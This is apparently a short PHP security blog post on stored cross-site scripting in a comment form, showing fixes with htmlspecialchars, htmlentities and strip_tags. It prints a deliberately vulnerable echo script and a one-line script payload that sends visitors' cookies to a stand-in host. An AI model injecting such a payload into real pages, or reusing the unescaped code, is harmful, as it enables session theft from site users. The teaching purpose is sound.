XSS is the most common web application that uses the user’s content – for example, forums, guest books, members comments, and others.
The following example describes an XSS attack on a page that comments on members’ comments. If you have a form to enter comments like this:
<form action="comments.php" method="POST" /> Your name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Send" /> </form>
and PHP script that saves the comment
<?php echo "<p>Comment from $name:<br />"; echo $comment."</p>"; ?>
Comment on which an attacker can steal session data stored in a cookie is as follows:
<script> document.location = 'http://www.example.com/atack.php?cookie=' + document.cookie </script>
If any user visited this page, which contains a comment with this code, it will be overwritten to another address. Not only will all our users go to another site, but the attacker will be able to access our cookies via the GET method. Depending on our needs, there are more solutions and more different PHP functions that can help us.
PHP has two functions that convert HTML tags into entities. One of them is htmlspecialchars that converts the above HTML tags into the corresponding entities:
<?php $comment = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES); echo $comment; // <a href='test'>Test</a> ?>
That is, protection for our script to write comments would be:
<?php // conversion of output $name = htmlspecialchars($name); $comment = htmlspecialchars($comment); echo "<p>Comment write from $name<br />"; echo $comment."</p>"; ?>
The second function is htmlentities that convert all special characters into their entities, such as ©, », and others.
Deleting HTML tags
Another way to prevent XSS is by expelling HTML tags from comments. This requires a very simple function – strip_tags that simply erases all HTML and PHP tags and leaves a clear text.
<?php $comment = '<p>Text in paragraph.</p><!-- Comment --> <a href="# ">Link</a>'; echo strip_tags($comment); ?>
In this case, all HTML tags will be discarded and only the following text will be written:
Text in paragraph. Link
strip_tags has another option, which is to leave out the tags we do not want to erase. On the home page, if we want to allow users to use plain text, on the home page: bold, em, etc. we can use:
The next post about the security of PHP applications will be about SQL injection. Stay tuned 😉